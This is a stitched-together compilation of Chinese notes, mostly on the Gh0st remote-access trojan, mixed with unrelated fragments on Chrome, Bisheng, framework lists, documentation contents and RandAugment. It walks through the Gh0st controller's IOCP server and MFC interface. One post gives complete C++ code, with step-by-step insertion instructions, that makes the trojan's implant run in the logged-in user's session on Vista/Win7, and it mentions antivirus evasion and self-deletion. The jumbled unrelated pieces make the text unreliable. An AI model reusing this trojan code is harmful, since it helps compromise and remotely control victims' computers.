gh0st源码分析,整理笔记
Gh0st通信协议解析

界面篇等我先搞完这个通信协议解析再说,要不我老觉得自己是在扯淡。
在这里我也给自己这两天搞的协议解析找个网络存储做一下备份。
Gh0st通信协议解析(1)正所谓蛇打七寸,今天我们对gh0st的通信协议进行一个完整的解析,看看gh0st这款远控的核心技术的来龙去脉。
************************************************************************ *******从主控端初始化IOCP服务器开始讲起[cpp]view plaincopyprint?1.// 启动IOCP服务器2.int nPort = m_IniFile.GetInt("Settings", "ListenPort");3.int nMaxConnection = m_IniFile.GetInt("Settings", "MaxConnection");4.if (nPort == 0)5. nPort = 80;6.if (nMaxConnection == 0)7. nMaxConnection = 10000;8.9.if (m_IniFile.GetInt("Settings", "MaxConnectionAuto"))10. nMaxConnection = 8000;11.12.((CMainFrame*) m_pMainWnd)->Activate(nPort, nMaxConnection); IOCP服务器是在CGh0stApp::InitInstance这个函数中被调用的,实际上是调用了CMainFrame的一个成员函数:CMainFrame::Active。
看看这个函数都做了哪些事情。
[cpp]view plaincopyprint?1.void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)2.{3. CString str;4.5.if (m_iocpServer != NULL)6. {7. m_iocpServer->Shutdown();8.delete m_iocpServer;9.10. }11. m_iocpServer = new CIOCPServer;12.13.// 开启IPCP服务器14.if (m_iocpServer->Initialize(NotifyProc, this, 100000, nPort))15. {16.17.char hostname[256];18. gethostname(hostname, sizeof(hostname));19. HOSTENT *host = gethostbyname(hostname);20.if (host != NULL)21. {22.for ( int i=0; ; i++ )23. {24. str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);25.if ( host->h_addr_list[i] + host->h_length >= host->h_name )26.break;27. str += "/";28. }29. }30.31. m_wndStatusBar.SetPaneText(0, str);32. str.Format("端口: %d", nPort);33. m_wndStatusBar.SetPaneText(2, str);34. }35.else36. {37. str.Format("端口%d绑定失败", nPort);38. m_wndStatusBar.SetPaneText(0, str);39. m_wndStatusBar.SetPaneText(2, "端口: 0");40. }41.42. m_wndStatusBar.SetPaneText(3, "连接: 0");43.}首先判断这个m_iocpServer全局变量是否已经指向了一个CIOCPServer,如果是的话,就要先关闭它,并且删除掉这个CIOCPServer所占的内存空间。
google_chrome_源代码_分析

************************************************** **(本文从网上整理得到,源地址/caimouse/archive/2008/09/07/2893806.aspx)谷歌浏览器的源码分析(1) 收藏随着网络技术的发展,越来越多应用都已经离不开网络,特别像人类大脑一样的知识库的搜索引擎,更加是离不开功能强大的云计算。
不过,即便云计算非常强大,但它还不能直接地把结果呈现给用户,这样就需要一个客户端来呈现出来,这个客户端就是浏览器。
现在越来越多人上网,他们每一次上网,都离不开浏览的使用,这已经是一个不可缺少的软件了。
这里介绍和分析谷歌推出有创新的浏览器,它的速度比其它浏览器快很多,那么它是怎么实现的呢?又采用了什么样的技术能达到这样呢?又比如它的标签页是每一个进程进行显示的,这到底又是怎么样实现的呢?下面来通过分析它的源码,一一地解开这种高新技术的使用,以及这种高效算法的奥秘。
谷歌浏览器的英语名称为Chrome,它的意义是铬。
铬是一种有光泽的、蓝灰色的坚硬金属元素。
不失光泽,抗腐蚀,最早在铬铁矿中发现。
用作催化剂,可加强钢合金的强度和生产不锈钢,可以做防腐镀层和玻璃制品中的颜料。
原子序数24;原子量51.996;比重7.18;化合价2,3,6。
谷歌起这个名称,可能是想让这个浏览器永远不失去光泽,永远那么吸引人。
铬是无毒,化学性质很稳定,有延展性,含杂质时硬而脆。
熔点1857C,沸点2672C,密度单晶为7.22克/厘米3,多晶为7.14克/厘米3;铬,原子序数24,原子量51.9961。
铬的名称来自希腊文Chroma,意为颜色。
因为这种元素以多种不同颜色的化合物存在,故被称为“多彩的元素”。
可用于制不锈钢,汽车零件,工具,磁带和录像带等。
铬镀在金属上可以防锈,也叫可多米,坚固美观。
红、绿宝石的色彩也来自于铬。
作为现代科技中最重要的金属,以不同百分比熔合的铬镍钢千变万化,种类繁多,令人难以置信。
bisheng源码解读

bisheng源码解读
Bisheng是一个基于React的静态网站生成器,它使用Markdown文件作为输入,可以帮助开发者快速构建静态网站。
Bisheng的源码解读涉及到对其代码结构、功能模块、核心算法等方面的分析。
首先,我们可以从Bisheng的代码结构入手,它通常包括配置文件、核心模块、插件系统、工具函数等部分。
配置文件用于指定网站的基本配置,核心模块负责解析Markdown文件、生成静态页面等核心功能,插件系统则提供了扩展Bisheng功能的接口,工具函数则包括一些辅助性的函数。
其次,我们可以分析Bisheng的功能模块,比如它是如何解析Markdown文件、生成静态页面的,它的路由系统是如何设计的,以及它是如何处理样式和资源文件的。
这些功能模块的解读可以帮助我们更深入地理解Bisheng的工作原理。
另外,我们还可以关注Bisheng的核心算法,比如它是如何实现页面的自动化生成和更新的,它是如何处理页面之间的依赖关系的,以及它是如何实现自定义插件的。
这些核心算法的解读可以帮
助我们理解Bisheng的高效性和灵活性。
总的来说,对Bisheng源码的解读需要我们从代码结构、功能模块、核心算法等多个角度进行分析,以便全面地理解这个静态网站生成器的工作原理和实现方式。
希望以上内容能够帮助你更好地理解Bisheng的源码。
Gh0st屏幕控制完美支持Vista Win7

Gh0st屏幕控制完美支持Vista Win7之前发了个GH0st动态版.看到留言说不支持win7,我想说下,那东西是我两年前改的.只是前几天整理硬盘的时候看到发上来.所以有BUG和不免杀是很正常的事.这两天帮朋友改一个gh0st,在测试win7功能的时候发现以前网上公布的方法不是很好兼容,虽然屏幕可以用,但是上线速度很慢,而且服务端不会自删除.更重要的是还得用管理员模式才能运行,反复找资料和测试.终于解决了gh0st完美兼容Win7和Vista的问题,双击就可以运行,我尽量把笔记写的详细些.如果还有朋友不懂的话可以给我留言或者到/9.htm这留言.我看到会给你回复的.方法有2种.我说其中一种吧.打开server的until.cpp文件.在最后面#endif的上面加上下列代码DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand ) { DWORD dwRet = 0; PROCESS_INFORMATION pi; STARTUPINFO si; DWORD dwSessionId; HANDLE hUserToken = NULL; HANDLE hUserTokenDup = NULL; HANDLE hPToken = NULL; HANDLE hProcess = NULL; DWORD dwCreationFlags; HMODULE hInstKernel32 = NULL; typedef DWORD (WINAPI*WTSGetActiveConsoleSessionIdPROC)(); WTSGetActiveConsoleSessionIdPROC WTSGetActiveConsoleSessionId = NULL;hInstKernel32 = LoadLibrary("Kernel32.dll"); if(!hInstKernel32) { return FALSE; } WTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdPROC)GetProcAddress( hInstKernel32,"WTSGetActiveConsoleSessionId"); // Log the client on to the local computer. dwSessionId = WTSGetActiveConsoleSessionId(); do{ WTSQueryUserToken( dwSessionId,&hUserTok en ); dwCreationFlags = NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE; ZeroMemory( &si, sizeof( STARTUPINFO ) ); si.cb=sizeof( STARTUPINFO ); si.lpDesktop ="winsta0\\default"; ZeroMemory( &pi, sizeof(pi) ); TOKEN_PRIVILEGES tp; LUID luid;if( !::OpenProcessToken( GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_ADJUST_SESSIONID | TOKEN_READ | TOKEN_WRITE, &hPToken ) ) { dwRet =GetLastError(); break; } else; if( !LookupPrivilegeValue( NULL, SE_DEBUG_NAME,&luid ) ) { dwRet = GetLastError();break; } else; tp.PrivilegeCount =1;tp.Privileges[0].Luid =luid; tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;if( !DuplicateTokenEx( hPToken, MAXIMUM_ALLOWED, NULL, SecurityIdentification, TokenPrimary,&hUserTokenDup ) ) { dwRet = GetLastError(); break; } else; //Adjust Token privilegeif( !SetTokenInformation( hUserTokenDup,TokenSessionI d,(void*)&dwSessionId,sizeof(DWORD) ) ){ dwRet = GetLastError(); break; } else;if( !AdjustTokenPrivileges( hUserTokenDup, FALSE,&tp, sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL, NULL ) ) { dwRet = GetLastError(); break; } else; LPVOID pEnv =NULL; DWORD (__stdcall*CreateEnvironmentBlock)( LPVOID *, HANDLE, BOOL ); CreateEnvironmentBlock = (DWORD (__stdcall *)(LPVOID *,HANDLE,BOOL))GetProcAddress( LoadLibrary("UserEnv. dll"), "CreateEnvironmentBlock" ); if(!CreateEnvironmentBlock) break;if( CreateEnvironmentBlock( &pEnv, hUserTokenDup, TRUE ) ){ dwCreationFlags|=CREATE_UNICODE_ENVIRONM ENT; } else pEnv=NULL; // Launch the process in the client's logon session.if( CreateProcessAsUser( hUserTokenDup, // client's access token NULL, // file to execute lpCommand, // command line NULL,// pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable dwCreationFlags,// creation flags pEnv, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process ) ) { } else { dwRet = GetLastError(); break; } } while( 0 ); //Perform All the Close Handles taskif( NULL != hUserToken ){ CloseHandle( hUserToken ); } else;if( NULL != hUserTokenDup){ CloseHandle( hUserTokenDup ); } else;if( NULL != hPToken ){ CloseHandle( hPToken ); } else; return dwRet; }然后打开until.h 同样在最后面的#endif上面加上DWORD _stdcall LaunchAppIntoDifferentSession( LPTSTR lpCommand );然后打开svchost.cpp搜索extern "C" __declspec(dllexport) void ServiceMain( int argc, wchar_t* argv[] )在上面加上extern "C" __declspec(dllexport) void XiaoDeBu(HWND hwnd, HINSTANCE hinst, LPTSTR lpCmdLine, int nCmdShow ) { main(lpCmdLine); }搜索g_dwServiceType =QueryServiceTypeFromRegedit(svcname);在下面加上HANDLE hThread = NULL; OSVERSIONINFO OsVerInfoEx; OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);GetVersionEx(&OsVerInfoEx); if( OsVerInfoEx.dwMajorVersion < 6 )//判断那种系统,如果小于6,直接用原来的代码{ HANDLE hThread = MyCreateThread(NULL, 0,(LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL); } else { CHAR lpCommand[256]; CHAR Start[MAX_PATH];GetModuleFileName(CKeyboardManager::g_hInstance,St art,sizeof(Start));wsprintf(lpCommand,"rundll32.exe %s,XiaoDeBu %s",Start, svcname ); LaunchAppIntoDifferentSession(lpCommand); }然后把HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL);这句注释掉.上边代码中GetModuleFileName(CKeyboardManager::g_hInstance,St art,sizeof(Start));也可改成GetModuleFileName(CKernelManager::g_hInstance,Start, sizeof(Start));。
Oracle Developer Studio 12.5:代码分析器 用户指南说明书

目录
使用本文档 ........................................................................................................... 9
1 使用代码分析器 ............................................................................................... 11 代码分析器分析的数据 ................................................................................. 11 静态代码检查 ...................................................................................... 11 动态内存访问检查 ............................................................................... 12 代码覆盖检查 ...................................................................................... 12 使用代码分析器的要求 ................................................................................. 12 代码分析器 GUI .......................................................................................... 13 代码分析器命令行界面 ................................................................................. 13 远程桌面分发 .............................................................................................. 14 快速启动 ..................................................................................................... 14 ▼ 快速启动 ....................................................................................... 14
Huawei DevEco Studio使用指南_鸿蒙学堂

文档内容来自鸿蒙官方网站,鸿蒙学堂 整理
Huawei DevEco Studio 使用指南
2.3 运行 Hello World.........................................................................................................11 3 工程管理......................................................................................................................................14
3.2 支持的设备模板和编程语言 ........................................................................................ 17 3.3 创建一个新的工程.........................................................................................................18
2.2 配置开发环境 ................................................................................................................... 4 2.2.1 npm 设置............................................................................................................. 4 2.2.2 设置 Gradle 代理................................................................................................ 5 2.2.3 设置 DevEco Studio 代理................................................................................ 6 2.2.4 下载 HarmonyOS SDK .................................................................................... 8
百大框架源码解析

百大框架源码解析1.SpringFramework:介绍SpringFramework的基础概念、核心组件和特性,包括IoC、AOP、Bean生命周期、Spring MVC等。
2. Hibernate:详细介绍Hibernate框架的核心概念、工作原理、实体映射、查询语言等。
3. Struts2:介绍Struts2的MVC架构、拦截器机制、表单验证、国际化等特性。
4. Django:从模型、视图、控制器、URL分发、中间件等方面介绍Django框架的基础知识。
5. Flask:介绍Flask框架的路由、模板、表单、数据库等方面的内容。
6. Ruby on Rails:介绍Ruby on Rails框架的MVC架构、路由、模板、ORM等方面的内容。
7. Express.js:介绍Express.js框架的路由、中间件、模板引擎、数据库等方面的内容。
8. AngularJS:介绍AngularJS框架的指令、数据绑定、服务、控制器等方面的内容。
9. React:介绍React框架的虚拟DOM、组件、状态管理、生命周期等方面的内容。
10. Vue.js:介绍Vue.js框架的响应式数据绑定、指令、组件、路由等方面的内容。
11. Bootstrap:介绍Bootstrap框架的基础样式、组件、网格系统、响应式设计等方面的内容。
12. jQuery:介绍jQuery框架的DOM操作、事件处理、动画效果、Ajax等方面的内容。
13. Ember.js:介绍Ember.js框架的路由、控制器、模板、组件等方面的内容。
14. Backbone.js:介绍Backbone.js框架的模型、视图、集合、路由等方面的内容。
15. Meteor:介绍Meteor框架的实时数据通信、模板、集合、路由等方面的内容。
16. Knockout.js:介绍Knockout.js框架的可观察对象、数据绑定、模板、组件等方面的内容。
randaugment 源码解析

randaugment 源码解析RandAugment是一种数据增强方法,通过随机组合一系列图像转换操作来增加训练数据的多样性。
这种方法可以提高模型的泛化能力,并且在图像分类等任务中取得了很好的效果。
RandAugment的核心思想是通过引入随机变换来扩展训练集。
在传统的数据增强方法中,我们通常会将图像进行一些简单的操作,如旋转、翻转、缩放等。
而RandAugment关注的是图像转换操作的组合以及参数的随机化,通过引入更多更复杂的变换操作,能够生成更多样化的数据,从而增强模型的泛化能力。
下面我们将从代码实现的角度来解析RandAugment的源码。
RandAugment的实现代码位于tensorflow/models/official/vision/image_classification/augmen t.py文件中。
该文件定义了RandAugment类,主要包括两个核心方法:`__init__`和`augment_image`。
- `__init__`方法是RandAugment类的构造方法,用于初始化RandAugment实例的参数。
- `augment_image`方法实现了数据增强的具体操作。
该方法接收一个图像张量,并根据RandAugment实例的参数对图像进行一系列变换操作。
下面我们详细解析`augment_image`方法的实现。
为了对图像进行变换操作,`augment_image`方法首先从RandAugment对象中获取transform_list和magnitude_list这两个列表。
transform_list包含了多种图像变换操作,如剪切、旋转、翻转等;magnitude_list则对应了每种变换操作的参数范围。
在代码实现中,首先定义一个空的图像张量`distorted_image`,并将输入图像仿射变换到[0, 1]的范围内。
然后,通过循环遍历transform_list中的每个操作,对输入图像进行变换操作。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
MICROSOFT SPEECH SDK 5.1\INCLUDEMICROSOFT SPEECH SDK 5.1\LIB以上两个目录是教程里面提到的,可以不使用,一样可以编译第一节课新建MFC工程,单文档模式,基类用CListView,其余默认即可打开gh0stView.cpp找到void CGh0stView::OnInitialUpdate()函数新建一个结NONCLIENTMETRICS ncm;NONCLIENTMETRICS这个结构就包含了非客户区的一些属性对ncm变量进行初始化memset(&ncm, 0, sizeof(NONCLIENTMETRICS));对这个结构的成员函数进行设置ncm.cbSize = sizeof(NONCLIENTMETRICS); //指定了ncm的大小使用宏VERIFY(::SystemParametersInfo(SPI_GETNONCLIENTMETRICS,sizeof(NONCLIENTMETRICS), &ncm,0));其目的是方便调试,在Debug版本中,如果计算的表达式为0则中断程序,并打印出错误信息,如果在Release版本中,出现表达式为0的时候,则不做任何的处理,当没有发生::SystemParametersInfo调用系统函数,查询或是设置系统参数,或是修改用户的一个外观,返回值是一个BOOL类型第一个参数是获取非客户区参数第二个参数是整个的非客户区结构的大小第三个参数是将获得到的信息保存在ncm这个地址中第四个参数由于是为了获取信息写0即可,如果是设置信息为目的,就需要换成其它参考MSDN第二节课在gh0stView.h中声明一个私有成员变量公有成员可以被所有类访问受保护成员只能在类内部或其子类可以访问私有成员只能在类内部访问,其子类是不可以访问的private:CListCtrl* m_pListCtrl;私有的列表控件的指针,为什么要声明这个呢,我们之前提到了基类是CListView,因此在这个里声明了一个指针CPP是执行文件,H是头文件接下来对我们在CPP文件中声明的私有成员变量进行赋值m_pListCtrl=&GetListCtrl();GetListCtrl()这个函数的原型是CListView::GetListCtrlCListCtrl& GetListCtrl() const; 得到一个和视图相关联的一个列表控件的引用引用的使用方法:引用相当于是一个别名,周瑜和周公谨是一个人,引用和变量也相当于是一个东西int m;int &n = m; //为变量m定义了一个引用n,m是被引用,对n的操作就相当于对m来进行操作了,这里n既不是m的一个拷贝,又不是指向m的一个指针,而n就是m,作用就是用于函数的型参和返回值上,引用也是使用了一个地址传递的方式,比值传递的速度要快指针与引用的区别:主要是吴国的水军大都督是周瑜,那么这个吴国的水军大都督可看成是一个指针,引用被创建的时候是必须要进行初始化的,而指针是在任何时候被初始化的另一个引用不可以是NULL,必须有一个合法的存储单位和引用相关联,而指针是可以有NULL的。
第三个区别是引用一旦被初始化了,就不能改变引用的关系了,可指针可以随便改变所指向的对象使用GetListCtrl()这个函数实际上是为这个列表控件找了一个别名,以后对这个引用的操作,实际上就是对这个列表控件的操作了地址符号和引用符号是相同的,都是&m_pListCtrl=&GetListCtrl();这句的意思就是这个指针变量指向了这个引用,因为给指针赋值的话,就是将地址赋给指针,也可以理解为让周公瑾担任了吴国的水军大都督接下来,我们声明了一个局部的变量HIMAGELIST 这是个WIN32的基本的数据类型,代表的是图像列表的句柄,表示的是软件上线的肉鸡的小图标Shell_GetImageLists 这是一个没有公开的API函数在SHELL32.dll中,返回操作系统图像列表的一个句柄,与SystemParametersInfo的作用基本上是相同的,这个函数适用于所有的WINDOWS版本用法:Shell_GetImageLists(NULL, &hImageListSmall);将获得到的保存在了这个地址当中接下来将得到的这个系统图像列表设置到我们这个程序当中来通过一个宏ListView_SetImageList()这个宏的目的就是将得到的操作系统的图像列表控件分配给程序的视图控件ListView_SetImageList(m_pListCtrl->m_hWnd, hImageListSmall, LVSIL_SMALL);第一个参数是指列表视图控件的一个句柄第二个参数是指要分配的图像列表的句柄第三个参数是指图像列表的一个类型接下来调用一个列表视图控件的一个成员函数来设置它为一个扁平风格和全选风格m_pListCtrl->SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT);声明列表项的一个结构在gh0stView.cpp中typedef struct{char* title;int nWidth;}COLUMNSTRUCT; //这个结构体名字叫COLUMNSTRUCT接下来,我们再定义一个结构体的数组,保存各个列的标题和宽度COLUMNSTRUCT g_Column_Data[] ={{"ID",48},{"WAN",102},{"LAN",102},{"计算机名/备注",107},{"操作系统",128},{"CPU",55},{"Ping",40},{"摄像头",51},{"区域",100}}这里我们多写了一列{"区域",100},其中的这一列是隐藏的,是IP地址定位的数据库,需要和程序一个目录下有一个QQwry.dat这样的文件存在这样的话就需要有一个变量来进行判断这个文件是不是存在,我们在头文件gh0st.h中进行声明,在类class CGh0stApp下声明一个全局的成员变量m_bIsQQwryExist,是BOOL类型接下来在构造函数中CGh0stApp::CGh0stApp()声明一个句柄HANDLE hFile; 来接收下面函数的返回值hFile = CreateFile("QQwry.dat",0,0,NULL,OPEN_EXISTING,NULL);第一个参数是要访问的文件名,是一个常量宽字符串的指针第二个参数是授予的访问级别,0代表可以查询是否存在第三个参数指向了一些标志,如何被共享,因为没涉及到共享,0代表文件不共享第四个参数指定这个句柄是否能被子进程继承,使用NULL代表不继承第五个参数是对这个指定的文件有什么动作,我们的目的是判断这个文件是否存在,我们需要指定的参数应该选择OPEN_EXISTING第六个参数指定了这个文件的属性和标志,对查询没有什么关联,设置为0第七个参数是当权限为只读时起作用,这里设置为NULL代表和查询没有关系这个函数失败的时候,返回值为INV ALID_HANDLE_V ALUE接下来我们对上面函数的返回值进行判断if(hFile != INV ALID_HANDLE_V ALUE){m_bIsQQwryExist = TRUE;}else{m_bIsQQwryExist = FALSE;}接下来我们在gh0stView.cpp中进行这个BOOL类型变量的判断我们声明一个变量,作为远程控制软件的列表列的个数int g_Column_Count;这个变量的值为(sizeof(g_Column_Data)/8) - !((CGh0stApp*)AfxGetApp())->m_bIsQQwryExist;sizeof的返回值是字节AfxGetApp() 这个函数的原型是CWinApp* AfxGetApp(); 返回值是应用程序的单一的CWinApp对象的一个指针,再将这个指针转换成CGh0stApp*类型,因为这两个类一个是基类一个是子为的关系,也就是这样的操作实际上就得到了CWinApp类的一个指针,再用这个指针调用这个类里面的成员变量接下来再定义一个变量来定义软件的总界面宽度,在gh0stView.cpp中int g_Column_Width =0;接下来回到函数void CGh0stView::OnInitialUpdate()上来设置CListCtrl::InsertColumn()int InsertColumn(int nCol, const LVCOLUMN* pColumn);int InsertColumn(int nCol, LPCTSTR lpszColumnHeading, int nFormat=LVCFMT_LEFT, int nWidth = -1, int nSubItem = -1);第二种用法,第一个参数,列的索引号第二个参数,是一个字符串的地址,这个地址包含了字符串的内容m_pListCtrl->InsertColumn(i, g_Column_Data[i].title);SetColumnWidth() 这个函数的目的是改变列表视图控件的列的宽度,原型为BOOL SetColumnWidth(int nCol, int cx);第一个参数是要修改的列的索引号第二个参数是要我们具体的将列设置成多大m_pListCtrl->SetColumnWidth(i,g_Column_Data[i].nWidth);g_Column_Width += g_Column_Data[i].nWidth; 设置软件界面的宽度是几个列的累加宽度for (int i=0; i<g_Column_Count; i++){m_pListCtrl->InsertColumn(i, g_Column_Data[i].title);m_pListCtrl->SetColumnWidth(i,g_Column_Data[i].nWidth);g_Column_Width += g_Column_Data[i].nWidth;}接下来,我们还需要调用一个函数PostMessage来发送一个消息,windows程序是以事件为驱动,以消息机制为基础的是不是只有操作系统才能发送这样的一个消息呢,实际上不是,自己编写的程序也是可以的CWnd::PostMessageBOOL PostMessage(UINT message, WPARAM wParam=0, LPARAM lParam =0 );PostMessage(WM_MYINITIALUPDATE);这个函数的作用是将一个消息放到窗口的消息队列当中,不等待执行就返回,这个窗口就是指这个远控软件的进程,在我们程序中如果要接收到这个发送过来的消息的话,需要用到GetMessage或者PeekMessage这两个函数在发送之前,我们需要自定义一个消息ON_MESSAGE宏来进行消息的映射这个宏要写在BEGIN_MESSAGE_MAP和END+MESSAGE_MAP之间,在gh0stView.cpp 中去写入,写这个宏的目的是将消息和这个消息响应函数关联在一起自己定义的消息应该在WM_USER和0x7FFF之间#define WM_MYINITIALUPDATE (WM_USER+101) //宏定义时名字与括号间要有空格ON_MESSAGE的两个参数,一个是消息,我们已经自定义了,另一个就是消息响应函数,我们可以在头文件gh0stView.h中声明一个私有的成员函数afx_msg LRESULT OnMyInitialUpdate(WPARAM, LPARAM);afx表示定义的是应用程序框架,表示的是消息响应函数LRESULT代表的是32位的一个返回值WPARAM和LPARAM都是一个指针,在LPARAM中高字节存储的是消息,低字节存储的,是事件的ID,而WPARAM中一般存储的都是句柄所以上面的消息映射函数应写成ON_MESSAGE(WM_MYINITIALUPDATE,OnMyInitialUpdate)接下来就是需要对这个消息向应函数进行编写,写在gh0stView.cpp中的CGh0stView message handlers注释下面在函数体中CGh0stView* pView =this;再写入一个返回return 0; 表示这个函数执行完成声明一个类的指针,this表示的是CGh0stView类,这就是给这个this类取个名字接下来就是对CMainFrame这个类进行编写DOC这个类是存放数据的,程序中所使用的所有数据都是存在这个DOC文档当中的VIEW这个类是用来画图或者是打印的MainFrm这个类是窗口的一个框架,一般是作为主窗口出现的,用来包含各种窗口,或都是处理菜单和工具档的一些命令,这个类就涉及到程序主界面的编写框架类中的OnCreate函数是用来创建程序的主窗口状态栏也可以看作是一个窗口,以官方程序为例,这个状态栏分成了四个窗格状态栏分为两类,一类是提示行,第二类是以窗格的形式来进行排列的显示,成为状态的指示器在这个MainFrm.cpp中的OnCreate函数中我们会发现有这个m_wndToolBar变量,很明显这是个工具栏,而在远控中我们是看不到工具栏的,所在我们要去掉有关工具栏的编程,首先我们在头文件中去掉,这个变量的声明CToolBar m_wndToolBar;接下来在CPP执行文件中去掉和工具栏编程相关联的部分代码if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP | CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FL YBY | CBRS_SIZE_DYNAMIC) ||!m_wndToolBar.LoadToolBar(IDR_MAINFRAME)){TRACE0("Failed to create toolbar\n");return -1; // fail to create}以及m_wndToolBar.EnableDocking(CBRS_ALIGN_ANY);EnableDocking(CBRS_ALIGN_ANY);DockControlBar(&m_wndToolBar);接下来我们说明一下CStatusBar::Create这个函数的作用是在它的父窗口中创建一个窗口m_wndStatusBar.Create(this)这个函数就是在主窗口中创建了一个状态栏m_wndStatusBar.SetIndicators(indicators, sizeof(indicators)/sizeof(UINT))设置指示器的ID,把ID设置成这个函数的第一个参数所以在导入之前,我们需要在资源文件String Table中将这个ID写进去我们发现indicators在上面有声明是一个数组static UINT indicators[] ={ID_SEPARATOR, // status line indicatorID_INDICATOR_CAPS,ID_INDICATOR_NUM,ID_INDICATOR_SCRL,};这里面的ID_SEPARATOR在String Table中是可以找到的,我们就是要将新的ID加进去修改为static UINT indicators[] ={ID_STAUTSTIP,ID_STAUTSTSPEED,ID_STAUTSTPORT,ID_STAUTSTCOUNT,};并在相应的String Table中进行添加标题这样的话,就可以在状态栏中将这四个窗口栏显示出来第五节课我们通过一个成员变量m_wndStatusBar来调用相应的状态栏的成员函数SetPaneInfo设置窗格信息的,主要是设置窗格的宽度这个函数是设置指示器窗格的新的ID,样式和宽度第一个参数是设置的窗格索引号,0代表第一个窗格第二个参数是ID号,m_wndStatusBar.GetItemID(0)的意思指的就是ID_STAUTSTIP,这里的0指的是索引号第三个参数是指指示器新的一个风格SBPS_STRETCH,意思是没有使用的区域就会扩展这个窗格,几个窗格中只能有一个窗格可以设置成这个,本程序指定的是第一个窗格第四个参数指示的具体的宽度SBPS_NORMAL风格指的是普通的风格完整的设置为m_wndStatusBar.SetPaneInfo(0,m_wndStatusBar.GetItemID(0),SBPS_STRETCH,NULL);m_wndStatusBar.SetPaneInfo(1,m_wndStatusBar.GetItemID(1),SBPS_NORMAL,160);m_wndStatusBar.SetPaneInfo(2,m_wndStatusBar.GetItemID(2),SBPS_NORMAL,70);m_wndStatusBar.SetPaneInfo(3,m_wndStatusBar.GetItemID(3),SBPS_NORMAL,80);接下来我们要设置程序界面的高度和宽度,我们需要重写这样一个函数PreCreateWindow,在头文件中,我们发现这个函数声明为了一个公共的成员函数,且是一个虚函数,可以用来重载,这个函数的参数是CREATESTRUCT类型的,这是一个结构体更改窗口的宽度,实际上需要更改cs它的一些成员变量指定新窗口的宽度,像素为单位cs.cx = 646;同时还要考虑如果存在9列的时候,程序的宽度应该是有变化的if (((CGh0stApp*)AfxGetApp())->m_bIsQQwryExist){cs.cx +=100;}最后设置软件的高度即可,cs.cy = 310;接下来,修改程序的标题单文档的应用程序当中,有一个窗口的缺省的类型,只要修改了这个类型就可以了把文档的类型添加到窗口的标题,是有一个叫FWS_ADDTOTITLE是我们窗口的一个缺省的类型,我们要做的是去掉,也就是我们要在窗口的样式中把这个类型去掉,我们的操作是cs.style &= ~FWS_ADDTOTITLE; 意思是将这个类型对非之后,再与原来的样式取与操作,就达到了去掉的目的,而后再使用cs.lpszName = "Gh0st RAT Beta 3.6";将窗口的标题进行设置即可,如果不去掉那个类型的话,那个类型就会自动的将窗口的标题进行覆盖。